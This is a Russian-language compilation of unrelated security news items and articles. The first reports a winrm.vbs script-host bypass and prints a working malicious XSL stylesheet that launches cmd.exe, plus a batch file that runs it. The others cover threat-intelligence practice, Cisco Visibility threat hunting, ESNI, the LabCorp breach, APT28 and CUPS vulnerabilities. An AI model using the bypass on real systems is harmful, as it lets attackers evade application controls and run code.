Новости информационной безопасности

Специалист по кибербезопасности Мэтт Гребер (Matt Graeber) описал технику выполнения произвольного кода скриптом winrm.vbs без попадания под ограничения «enlightened script host».

Выполнение XSL

Если добавить команды -format:pretty или -format:text в скрипт, он вытащит файлы WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это дает возможность злоумышленнику скопировать cscript.exe в место, где расположен вредоносный XSL, и добиться выполнения произвольного кода.

Инструкции

Гребер описал инструкции для испытания метода:

• поместить произвольный файл WsmPty.xsl или WsmTxt.xsl в контролируемую директорию;
• скопировать файл cscript.exe или wscript.exe в тот же каталог;
• выполнить winrm.vbs с -format, указав pretty (если был помещен файл WsmPty.xsl) или text (если был помещен файл WsmTxt.xsl).

Правильное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, который запускает выполнение кoда.

Пример кода

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Пейлоад

Пакетный файл для запуска пейлоада:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\
winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

В мае 2018 года специалист по кибербезопасности Алекс Ионеску обнаружил критическую ошибку в патчах Microsoft против уязвимости Meltdown.

Источник: SpecterOps

Наташа Маркова

Ещё интересное для вас:
— Тест: какой язык программирования вам стоит выбрать для изучения?
— Тест: как хорошо вы разбираетесь в Data Science?
— Соревнования и бесплатная онлайн-школа для программистов

У нас было две коммерческих APT-подписки, десять информационных обменов, около десяти бесплатных фидов и список exit-node Тора. А еще пяток сильных реверсеров, мастер powershell-скриптов, loki-scanner и платная подписка на virustotal. Не то чтобы без этого центр мониторинга не работает, но если уж привык ловить сложные атаки, то приходится идти в этом увлечении до конца. Больше всего нас волновала потенциальная автоматизация проверки на индикаторы компрометации. Нет ничего более безнравственного, чем искусственный интеллект, заменяющий человека в работе, где надо думать. Но мы понимали, что с ростом количества заказчиков мы рано или поздно в это окунемся.

Многие говорят, что Threat Intelligence – это вкусно, но не все до конца понимают, как его готовить. Еще меньше тех, кто разбирается, какие процессы нужно выстраивать, чтобы TI работал и приносил profit. И совсем мало кто знает, как выбрать поставщика фидов, где проверить индикатор на фолсы и нужно ли блокировать домен, который прислал коллега в WhatsApp.

За несколько лет постоянной работы с TI мы успели пройтись по разным граблям и сегодня хотим дать несколько практических советов, которые помогут новичкам избежать ошибок.

Совет №1. Не питайте больших надежд что-то поймать по хешу: большая часть вредоносного ПО уже давно полиморфна

В прошлой статье мы рассказывали о том, что такое TI, и привели несколько примеров организации процесса работы. Напомню, что информация об угрозах (threat intelligence) поступает в разных форматах и представлениях: это могут быть и IP-адреса центров управления ботнетами, и email-адреса отправителей фишинговых писем, и статьи, описывающие техники обхода средств защиты, которые APT-группировки вот-вот начнут использовать. В общем, много чего бывает.

Чтобы упорядочить все это безобразие, несколько лет назад Дэвид Бианко предложил так называемую «пирамиду боли». Она довольно неплохо описывает отношение между типами индикаторов, которые вы используете для детектирования атакующего, и тем, сколько боли вы доставите атакующему, если сможете детектировать конкретный тип индикатора.

Например, если вы знаете MD5-хеш вредоносного файла, его можно довольно легко и при этом точно задетектировать. Однако это принесет очень мало боли атакующему – достаточно добавить 1 бит информации к файлу, и хеш уже другой.

Совет №2. Старайтесь использовать те индикаторы, смена которых будет сложна технически или невыгодна экономически для атакующего

Предвосхищая вопрос о том, как узнать, есть ли файл с данным хешом на АРМах нашего предприятия, отвечаю: существуют разные способы. Один из самых простых – это установка Kaspersky Security Center, который содержит базу MD5-хешей всех исполняемых файлов на предприятии, к которой можно сделать SELECT.

Вернемся к пирамиде боли. В отличие от детектирования по хешу, будет более продуктивно, если вы сможете задетектировать TTP (тактику, технику, процедуру) атакующего. Это сложнее и требует больше усилий, но зато и боли вы доставите больше.

Например, если вы знаете, что APT-группировка, нацеленная на ваш сектор экономики, распространяет фишинговые письма с *.HTA файлами, разработка правила детектирования, которое ищет файлы в почте с подобными вложениями, сильно ударит по атакующему. Ему придется изменить тактику рассылки, возможно, даже вложив кровные $ в покупку 0-day или 1-day эксплойтов, а это недешево…

Совет №3. Не питайте больших надежд относительно правил детектирования, которые разработали не вы, их придется проверять на ложные срабатывания и дорабатывать

При разработке правил детектирования всегда есть соблазн использовать готовые правила. Бесплатным примером может служить репозиторий Sigma – SIEM-независимый формат правил детектирования, который позволяет транслировать правила из языка Sigma в запросы ElasticSearch и правила Splunk или Arcsight. При этом репозиторий содержит около 200 правил, из которых ~130 описывают атаки на Windows. На первый взгляд, очень круто, но дьявол, как всегда, в деталях.

Давайте взглянем детально на одно из правил детектирования mimikatz:

Правило детектирует процессы, которые попытались прочитать память процесса lsass.exe. Mimikatz делает это, когда пытается получить NTLM-хеши, и правило задетектирует вредонос.

Однако нам, как специалистам, которые занимаются не только детектированием, но и реагированием на инциденты, крайне важно, чтобы это был действительно mimikatz. К сожалению, на практике существует множество других легитимных процессов, которые читают память lsass.exe с этими же масками (некоторые антивирусы, например). Поэтому в реальной боевой среде подобное правило принесет больше ложных срабатываний, чем пользы.

Бывают и еще более интересные казусы, связанные с автоматической трансляцией правил из Sigma в правила SIEM:

На одном из вебинаров коллеги из SOC Prime, поставляющие платные правила детектирования, показали нерабочий пример подобной трансляции: поле deviceProduct в SIEM должно быть одновременно равно и Sysmon, и Microsoft Windows, что невозможно.

Не хочу никого винить и тыкать пальцем – все фолсят, это нормально. Однако потребителям Threat Intelligence нужно понимать, что перепроверка и доработка правил, получаемых как из открытых, так и закрытых источников, все-таки необходима.

Совет № 4. Проверяйте доменные имена и IP-адреса на вредоносность не только на прокси-сервере и межсетевом экране, но и в журналах DNS-серверов, уделяя внимание как удачным, так и неудачным попыткам резолва

Вредоносные домены и IP-адреса — это оптимальный индикатор с точки зрения простоты детектирования и количества боли, которую вы доставите атакующему. Но и с ними все просто только на первый взгляд. Как минимум, стоит задаться вопросом, откуда забирать журнал доменов.

Если ограничиться проверкой только журналов прокси-серверов, можно упустить вредоносное ПО, которое пытается обратиться напрямую в сеть или запрашивает несуществующее доменное имя, сгенерированное по DGA, не говоря уже про DNS-туннели – всего этого не будет в журналах корпоративного прокси-сервера.

Совет №5. «Мониторить нельзя блокировать» – ставьте запятую только после того, как вы узнали, что это за индикатор, и осознали возможные последствия блокировки

Перед каждым практикующим безопасником вставал сложный вопрос: блокировать угрозу или мониторить и при наличии сработок начинать расследование? В некоторых регламентах и инструкциях прямо пишут – блокировать, и иногда такое действие ошибочно.

Если индикатор – это доменное имя, используемое APT-группировкой, не ставьте его на блокировку, а начните мониторинг. Современные тактики целевых атак подразумевают наличие дополнительного скрытного резервного канала связи, выявить который можно только в ходе детального расследования. Автоматическая блокировка в данном случае будет препятствовать поиску этого канала, да и товарищи с другой стороны баррикад быстро поймут, что вы узнали о их деятельности.

С другой стороны, если индикатор – это домен шифровальщика, то его уже стоит поставить на блокировку. Но не забывайте производить мониторинг неуспешных попыток обращения к заблокированным доменам – в конфигурацию шифровальщика может быть встроено несколько адресов серверов управления. Часть из них может отсутствовать в фидах и соответственно не будет заблокирована. Рано или поздно зловред обратится к ним для получения ключа, которым моментально зашифрует хост. Гарантировать, что вы заблокировали все адреса сервера управления, может только реверс-анализ образца.

Совет №6. Проверяйте все поступающие индикаторы на релевантность перед постановкой их на мониторинг или блокировку

Помните, что информацию об угрозах создают люди, которым свойственно ошибаться, или алгоритмы machine learning, которые тем более от этого страдают. Мы уже были свидетелями того, как разные поставщики платных отчетов о деятельности APT-группировок случайно добавляют в списки вредоносных MD5 вполне легитимные образцы. Если даже платные отчеты об угрозах содержат некачественные индикаторы, что говорить об индикаторах, добытых с помощью разведки в открытых источниках. TI-аналитики далеко не всегда проверяют создаваемые ими индикаторы на ложные срабатывания, в результате подобная проверка ложится на плечи потребителя.

Например, если вам пришел IP-адрес очередной модификации Zeus или Dimnie, перед тем как использовать его в системах детектирования проверьте, не является ли он частью хостинга или сервисом, который говорит ваш IP. Иначе будет неприятно разбирать огромное количество ложных срабатываний, когда пользователи сайта, размещенного на этом хостинге будут заходить на совершенно невредоносные сайты. Подобную проверку можно легко выполнить с помощью:

1. Сервисов категоризации, которые скажут вам о роде деятельности сайта. Например, ipinfo.io прямо напишет type: «hosting».
2. Сервисов Reverse IP, которые подскажут, сколько доменов зарегистрировано на данном IP-адресе. Если их много, с высокой вероятностью перед вами хостинг сайтов.

Вот так, например, выглядит результат проверки индикатора, который является индикатором APT-группировки Cobalt (согласно отчету одного уважаемого TI-вендора):

Мы, специалисты по реагированию, понимаем, что господа из Cobalt наверняка использовали этот IP-адрес. Однако пользы от данного индикатора нет – он нерелевантен, потому что дает слишком много ложных срабатываний.

Совет №7. Максимально автоматизируйте все процессы работы с информацией об угрозах. Начните с простого – полностью автоматизируйте проверку на ложные срабатывания через стоп-список с дальнейшей постановкой нефолсящих индикаторов на мониторинг в SIEM

Предотвратить большое количество ложных срабатываний, связанных с intelligence и полученных из открытых источников, может предварительный поиск этих индикаторов в стоп-списках (warning lists). Подобные списки можно сформировать на основе рейтинга Alexa (топ-1000), адресов внутренних подсетей, доменов крупных провайдеров сервисов вроде Google, Amazon AWS, MS Azure и других хостингов. Также крайне эффективным будет решение, которое динамически изменяет стоп-списки, состоящие из топа доменов/IP адресов, на которые ходили сотрудники компании в последнюю неделю или месяц.

Разработка подобных списков и системы проверки может быть затруднительна для среднего SOC, поэтому здесь имеет смысл задуматься о внедрении так называемых Threat Intelligence-платформ. Примерно полгода назад на Anti-malware.ru был хороший обзор платных и бесплатных решений подобного класса.

Совет №8. Сканируйте на хостовые индикаторы все предприятие, а не только хосты, которые подключены к SIEM

Ввиду того, что, как правило, не все хосты предприятия подключены к SIEM, проверить их на наличие вредоносного файла с определенным именем или путем, используя только стандартный функционал SIEM, не представляется возможным. Выкрутиться из этой ситуации можно следующими способами:

1. Использовать IoC-сканеры наподобие Loki. Запустить его на всех хостах предприятия можно через тот же SCCM, а вывод перенаправить на общедоступную сетевую папку.
2. Использовать сканнеры уязвимостей. Некоторые из них имеют compliance-режимы, в которых можно проверить наличие конкретного файла по конкретному пути.
3. Написать powershell-скрипт и запустить его через WinRM. Если писать самим лень, можно использовать один из многочисленных скриптов, например, вот этот.

Как я уже сказал в начале, данная статья не подразумевает исчерпывающую информацию по тому, как правильно работать с Threat Intelligence. Однако, по нашему опыту, соблюдение даже этих простых правил позволит новичкам не наступать на грабли и начать сразу с эффективной работы с различными индикаторами компрометации.

Эксперты компании TG Soft выявили активную вредоносную кампанию, направленную на сервисные центры Samsung в Италии. В минувшем месяце наблюдались похожие атаки на сервисные центры южнокорейского производителя, расположенные в России.

Обе кампании практически идентичны. На первом этапе злоумышленники рассылают сотрудникам центров фишинговые письма с прикрепленными документами MS Excel. При открытии документа на компьютер загружается эксплоит, использующий уязвимость CVE-2017-11882 в редакторе формул редактор формул Microsoft Equation (Microsoft исправила данную уязвимость в ноябре 2017 года) для заражения устройства вредоносным ПО. В случае с итальянскими сервисными центрами Samsung на компьютер загружаются трояны для удаленного доступа Netwire или njRAT, тогда как в атаках на российские центры применялся RAT Imminent Monitor.

По сути, обе кампании не представляют собой ничего особенного, однако специалистам не удалось выяснить, зачем злоумышленники атакуют сервисные центры. По одной из теорий, преступники пытаются скомпрометировать используемые в сервисных центрах инструменты, что впоследствии предоставит им возможность заразить вредоносными программами починенную технику.

Представьте, что вы прочитали статью в «Коммерсанте» о том, что в Интернете оказался в публичном доступе полный пакет для атак на банки Pegasus. Вероятно вы захотите узнать, а не попали ли и вы под раздачу и не сидит ли в вашей сети вредоносный код. С одной стороны у вас есть куча логов и событий безопасности от различных средств защиты, а с другой, возможно, вы получаете информацию об угрозах в рамках подписки на какой-либо платный или бесплатный сервис Threat Intelligence (например, от BI.ZONE, ГосСОПКИ или ФинЦЕРТ). С одной стороны у вас куча данных для анализа, но вы не знаете, есть ли в них следы того, что вы ищете. С другой стороны, вы имеете информацию о следах (то есть индикаторы компрометации), но не знаете насколько они применимы именно к вам. Вам нужно объединить эти два набора данных, осуществив то, что обычно называют Threat Hunting'ом или поиском следов атак в вашей инфраструктуре. Давайте посмотрим, как можно автоматизировать данную задачу с помощью недавно выпущенного бесплатного решения Cisco Visibility.

Вы не знаете с чего начать? Где искать следы интересующей вас угрозы? Перед вами чистый лист и в Cisco Visibility он выглядит так:

В это окно вы загружаете все, что вы будете искать. Давайте в качестве примера шифровальщика TeslaCrypt (в реальной жизни вместо TeslaCrypt вы будете подставлять любую другую угрозу, следы которой вам нужно будет найти или доказать ее отсутствие на время проведения Threat Hunting). Для начала вам нужно собрать воедино все индикаторы компрометации для чего вы используете имеющиеся сервисы Threat Intelligence. Например, данные по TeslaCrypt вы берете из блога Cisco Talos. Перед вами 9 индикаторов — IP-адресов, хэшей файлов вредоносных программ и доменов, с которыми контактирует развернувшийся шифровальщик для получения дополнительных команд и оплаты выкупа в криптовалюте. Вы все эти индикаторы загружаете в Cisco Visibility:

Здесь необходимо сделать небольшое отступление. Cisco Visibility сейчас работает с данными от Cisco AMP for Endpoints, то есть с решением класса EDR (Endpoint Detection and Response), которое устанавливается на персональные и мобильные компьютеры под управлением Windows, Linux, MacOS, Android, iOS. Поэтому Threat Hunting с помощью Cisco Visibility осуществляется сейчас на оконечных устройствах, которые в 70% и являются мишенью для злоумышленников.

Что мы видим после загрузки индикаторов в Cisco Visibility? Основную площадь экрана занимает граф взаимоотношений, который отражает взаимодействия между индикаторами компрометации, событиями безопасности, которые собираются с инфраструктуры заказчика, и внешним окружением. Вы можете масштабировать картинку, чтобы получить общее представление о картине происходящего.

Над графом взаимодействий находится панель, которая отображает сводную информацию по всем интересующим нас моментам:

• Цели или жертвы. Кликнув по данному полю, вы сразу получите список всех узлов вашей сети, на которых найдены следы, которые вы ищете. Это именно то, что вам нужно для того, чтобы понять масштаб бедствия и насколько вы пострадали. Если здесь не показывается ни одного узла, значит у вас нет узлов, участвующих в атаке.
• Следы. Кликнув по данному полю, вы получите список следов, которые вы ищете, с цветовой подсветкой, отражающей факт нахождения этих следов в базах данных Cisco Threat Intelligence.
• Индикаторы. Кликнув по данному полю, вы увидите поведенческие шаблоны, которые были обнаружены в вашей инфраструктуре, соответствующие искомым следам.
• Домены, хэши, IP-адреса и URL. Данные поля показывают соответствующие следы.
• Модули. Этот пункт меню отражает список модулей, с помощью которых происходило обогащение данных и обнаружение следов атак. Таких модулей несколько и к ним относятся как решения Cisco (например, Cisco ThreatGrid, Cisco Umbrella, Cisco AMP Global Intelligence, Talos Intelligence), так и решения третьих фирм (например, VirusTotal). Список этих модулей будет расширяться.

Учитывая, что агенты AMP4E могут быть установлены на сотнях и тысячах компьютеров, нас интересуют не все они, а только те, кто «попал под раздачу» (если попал, конечно). Кликнув по полю «Цели» (Target), мы получаем список тех узлов, где были найдены следы угрозы. В нашем случае это всего один узел.

Кликнув на имени этого узла, мы сразу получаем область графа взаимодействий, который отражает все связи между искомыми следами и скомпрометированным узлом.

Сразу видно, что пострадала лишь небольшая часть инфраструктуры, на которой можно и сосредоточиться.

Найденные следы были обогащены с помощью различных модулей, включая и решения третьих фирм (в данном случае VirusTotal). Это позволяет нам быть более уверенными в результатах анализа, так как подтверждение найденных следов получено из разных источников Threat Intelligence. В данном случае расследование было обогащено данными TI из 5 источников:

Индикаторов компрометации, то есть поведенческих шаблонов, применительно к искомым следам найдено немало (19):

Область экрана «Sightings Timeline» показывает нам временную шкалу, отражающую два важных вопроса — когда найденные следы были найдены в нашей локальной инфраструктуре и когда они были обнаружены за пределами компании, в мире (отображаются последние 30 дней, чтобы не слишком уводить аналитиков от текущего момента). Такое сравнение двух временных шкал позволяет нам сделать вывод о том, является ли вредоносная активность глобальной (и мы просто попали под раздачи как и многие другие) или она было фокусной, разработанной специально для нас.

В самой нижней части экрана мы увидим раздел, где можно получить детали по каждому найденному следу, артефакту, индикатору компрометации и перейти для более детального их анализа. Обратите внимание, что из всех следов, которые мы ищем, у нас в сети встретился только один — хэш вредоносного файла.

Например, вот так выглядит информация по обнаруженным в нашей инфраструктуре вредоносным файлам с соответствующим хэшом. Однако стоит обратить внимание на такой важный момент. По каждому следу мы видим несколько вкладок. Первая из них — Judgements (мнение). В ней мы видим отсылки на различные модули, которые «видели» данные следы когда-нибудь. Например, мы видим, что в базе VirusTotal соответствующий хэш имеется и он распознается разными антивирусными движками. Значит ли это, что данная угроза есть в нашей сети? Еще нет. Возможно это старый вредонос, который больше не действует. Например в поле Expiration может быть пометка, что данный след последний раз фиксировался «в диком виде» два месяца назад.

Гораздо важнее вкладка Verdict (окончательный приговор), которая и позволяет нам сделать окончательный вывод (за счет оценки разных данных, взвешенный результат которой и отображается на вкладке Verdict) о наличии или отсутствии угрозы в нашей инфраструктуре.

Вкладка Sightings показывает нам артефакты по угрозе и где они были обнаружены:

Вкладка Indicators показывает подробное описание каждого индикатора, присущего обнаруженным следам:

Обратите внимание, у нас тут и взаимодействие с Tor, и удаление резервных копий, и распознавание антивирусами, и создание большого количества артефактов и т.п. Мы в своих базах Threat Intelligence анализируем около 1000 различных индикаторов.

После получения информации о найденных в нашей инфраструктуре следах атаки, мы можем провести более детальное расследование с помощью инструментов, которые отдавали в Cisco Visibility исходные данные. Например, мы можем запустить AMP for Endpoints для того, чтобы получить подробный анализ конкретного события, которое и привело к возможности обнаружения угрозы.

Мы видим всю картину происходящего. Вредоносный файл, созданный процессом explorer.exe в 20:00:00 по московскому времени 15-го июля. Мы видим, где находится этот файл и значения его хэшей по различным алгоритмам (SHA1 и MD5).

С помощью технологии ретроспективной безопасности и механизма визуализации Device Trajectory мы можем визуализировать все действия, осуществленные или осуществляемые интересующим нас файлом. В данном случае мы видим, что файловый объект t.exe, созданный процессом explorer.exe, запустил вполне легальную утилиту Windows — vssadmin.exe, которая управляет теневыми копиями и, в том числе, часто используется шифровальщиками для их удаления (чтобы нельзя было восстановить зашифрованные данные). Если посмотреть описание TeslaCrypt, то мы увидим, что этот шифровальщик действительно задействует vssadmin в своей деятельности.

К слову, недавно мы обновили механизм Device Trajectory и теперь он выглядит немного по иному:

В примере выше файл t.exe не был заблокирован и не был помещен в карантин, хотя в реальной жизни AMP for Endpoints именно это и делает. Но для целей данной статьи AMP4E работает в режиме аудита, что позволяет налюдать за событиями, но не блокировать их. Кстати, если бы вместо vssadmin был запущен PowerShell (тоже вполне легальный инструмент системного администрирования), то мы бы увидели и это, и параметры командной строки, используемые в PowerShell.

Вот так, вкратце, выглядит работа с Cisco Visibility при осуществлении поиска следов угроз в локальной инфраструктуре и обогащении имеющихся событий безопасности данными из различных источников Threat Intelligence.

ЗЫ. Базируется Cisco Visibility на разработанной нами модели Cisco Threat Intelligence Model (CTIM), которая, в свою очередь, базируется на стандарте обмена данными Threat Intelligence — STIX. Но в отличие от STIX модель CTIM ориентирована не на формализации формата данных об угрозах, а на процессе сбора, хранения и анализа этих данных. Опираясь на Cisco Threat Intelligence API (это open source проект и его можно использовать и в своих решениях), мы планируем расширять список источников, с которыми будем работать, как в части получения событий безопасности, так и в части получения данных Threat Intelligence. Кроме того, мы планируем добавить в Cisco Visibility возможность работы не только с атомарными индикаторами компрометации (IP, хэш, домен, URL), но и с данными об уязвимостях (CVE), програмах в конфигурации (CWE), базой шаблонов атак (CAPEC) и базой знаний о методах, тактиках и процедурах злоумышленников (ATT&CK). Эта работа сейчас ведется.

ЗЗЫ. В начале заметки я немного слукавил. Cisco Visibility действительно является бесплатным решением, но для его использования необходимо, как минимум, иметь установленный в организации Cisco AMP for Endpoints (а откуда тогда брать данные для threat hunting?). Также желательно (но необязательно) иметь доступ к сервисам Cisco Threat Grid (песочница) и Cisco Umbrella (анализ DNS). В этих случаях можно будет проводить более глубокий анализ угроз (следов и индикаторов) уже внутри указанных сервисов, запускаемых из Cisco Visibility. Ну и конечно надо иметь доступ к внешним сервисам Threat Intelligence, которые интегрируются с Cisco Visibility. Пока это только VirusTotal (но мы не стоим на месте и будем расширять их число), доступ к которому может получить любой желающий.

В ходе проходившего на собрании IETF 102 хакатона программисты из компаний Mozilla, Cloudflare, Fastly и Apple разработали новое TLS-расширение ESNI (Encrypted Server Name Indication), позволяющее передавать имя запрошенного хоста в зашифрованном виде.

ESNI является улучшенной версией расширения SNI, предназначенного для организации работы нескольких HTTPS-сайтов на одном IP-адресе. В SNI имя хоста в открытом виде передается в сообщении ClientHello на стадии согласования соединения, так как передача осуществляется до установки зашифрованного соединения.

Данная особенность расширения SNI позволяет упростить организацию обработки запросов на HTTP-серверах и использовать прокси и CDN-сети для перенаправления трафика, однако в данном случае информация может быть раскрыта стороннему наблюдателю, например, интернет-провайдеру. Таким образом, особенность может быть использована для анализа запрошенных сайтов и выборочной фильтрации трафика.

В новом алгоритме имя хоста передается в зашифрованном виде. Данные защищены криптографическими ключами, которые есть только у сервера и клиента. Помимо этого, в расширении предусмотрена функция сокрытия обращения к DNS-серверу с помощью протокола DNS-over-HTTPS или DNS-over-TLS.

В настоящее время поддержка расширения ESNI реализована в библиотеках BoringSSL (Chromium), NSS (Firefox) и picotls (используется в HTTP-сервере H2O).

Неизвестные хакеры взломали сеть крупнейшей диагностической лаборатории США LabCorp и попытались получить доступ к конфиденциальным медицинским записям миллионов клиентов компании, сообщает издание DailyMail со ссылкой на осведомленные источники.

По данным ресурса, в результате инцидента, произошедшего в минувшие выходные, вся компьютерная сеть LabCorp на территории США была отключена. В настоящее время технические специалисты компании пытаются восстановить работу системы.

Как утверждают представители LabCorp, «нет свидетельств неавторизованного перемещения или использования данных», однако, по словам собеседника издания, на данный момент нельзя утверждать, что данные не были скомпрометированы. Оценка реального масштаба утечки может занять несколько недель, отметил источник.

Компания уже проинформировала правоохранительные органы об инциденте. В настоящее время проводится расследование.

LabCorp (Laboratory Corporation of America Holdings) – американская медицинская корпорация, осуществляющая деятельность в сфере здравоохранения. Управляет сетью специализированных клинических лабораторий, присутствует на территории разных стран мира, включая Пуэрто-Рико и Канаду.

Специалисты из команды Z-Lab Cse CybSec зафиксировали новую вредоносную кампанию, направленную на компьютерные сети Военно-морских сил Италии (Marina Militare) и предприятий-подрядчиков. В организации атаки подозревается хакерская группировка APT28 (более известна как Fancy Bear), предположительно связанная с РФ. Поскольку атаки проходят в летний период, исследователи окрестили операцию «Roman Holiday» («Римские каникулы»).

Атака включает несколько этапов, в рамках которых злоумышленники загружают на целевые системы написанный на Delphi дроппер и новую версию бэкдора X-agent, «засветившегося» в ряде предыдущих операций группировки. В ходе анализа эксперты обнаружили вредоносную dll-библиотеку, которая связывалась по HTTPS с C&C-сервером с именем «marina-info.net».

«Dll-файл, подключающийся к 'marina-info.net' может быть финальным вредоносным модулем, активирующимся при определенных условиях, например, когда вредоносное ПО инфицирует системы с IP-адресами в определенных диапазонах», - пояснили исследователи. Более подробный технический анализ вредоносной кампании представлен здесь .

Группировка APT28 активна по меньшей мере с 2007 года. Сфера интересов хакеров включает правительства, военные ведомства и организации по всему миру. Fancy Bear неоднократно подозревали в различных кибератаках, в том числе на немецкий парламент, французскую телестанцию TV5Monde и компьютерную сеть Демократической партии США в ходе предвыборной кампании 2016 года. Во второй половине 2017 года группировка переключила внимание с НАТО и Украины на азиатские страны, в том числе Китай, Монголию, Южную Корею и Малайзию.

В системе печати CUPS выявлено несколько уязвимостей, позволяющих локальному злоумышленнику поднять свои привилегии до пользователя root, получить содержимое файлов, доступных только для root, и выйти за пределы sandbox-окружения, в том числе обойти ограничения AppArmor в Debian и Ubuntu. В своей комбинации уязвимости позволяют получить атакующему полноценные root-привилегии в основной системе. В Linux уязвимость затрагивают только системы, в которых непривилегированные пользователи могут вносить изменения в конфигурацию CUPS (например, уязвимы Debian и Ubuntu, но проблема не затрагивает дистрибутивы на базе RHEL). Исправления пока доступны в виде патчей.

• CVE-2018-4180 - ошибка в обработчике переменных окружения в dnssd позволяет поднять свои привилегии в системе через установку специально оформленного значения в переменной окружения CUPS_SERVERBIN;
• CVE-2018-4181 - некорректная обработка директивы включения других файлов в конфигурацию (include) позволяет непривилегированному пользователю прочитать содержимое любых файлов в системе;
• CVE-2018-6553 - некорректная настройка профиля AppArmor для защиты бэкенда dnssd позволяет обойти ограничения доступа cupsd к основной системе через создание обработчика dnssd с другим именем, созданного при помощи жесткой ссылки на dnssd;
• CVE-2017-18248 - отсутствие проверки использования недопустимых символов в имени пользователя в заданиях вывода на печать может применяться для удалённого инициирования краха CUPS;
• CVE-2017-15400 - возможность запуска произвольных команд с правами демона CUPS через настройку подставного сервера IPP и передачу специально оформленного файла PPD;

Совет по финансовой стабильности (Financial Stability Board, FSB) опубликовал краткий словарь терминов по кибербезопасности под названием Cyber Lexicon. Словарь включает набор из 50 основных терминов, связанных с защитой от киберугроз в финансовом секторе.

Документ предназначен для поддержки работы совета, организаций по стандартизации, органов власти и участников частного сектора. Приведенная в словаре лексика может быть полезной для обеспечения защиты от киберугроз, оценки и мониторинга рисков финансовой стабильности и кибербезопасности, а также для обмена важной информацией.

Совет разработал словарь в ответ на запрос участников встречи «Большой двадцатки» (G20), прошедшей в октябре 2017 года. В дальнейшем Совет по финансовой стабильности планирует дополнить словарь и внести некоторые правки. Публикация финальной версии документа запланирована на ноябрь текущего года, когда в Аргентине пройдет саммит лидеров G20.

Напомним, ранее участники предстоящего саммита «Большой двадцатки» были атакованы северокорейской хакерской групировкой Lazarus. В ходе кампании хакеры использовали серию вредоносных документов для инфицирования компьютеров участников G20.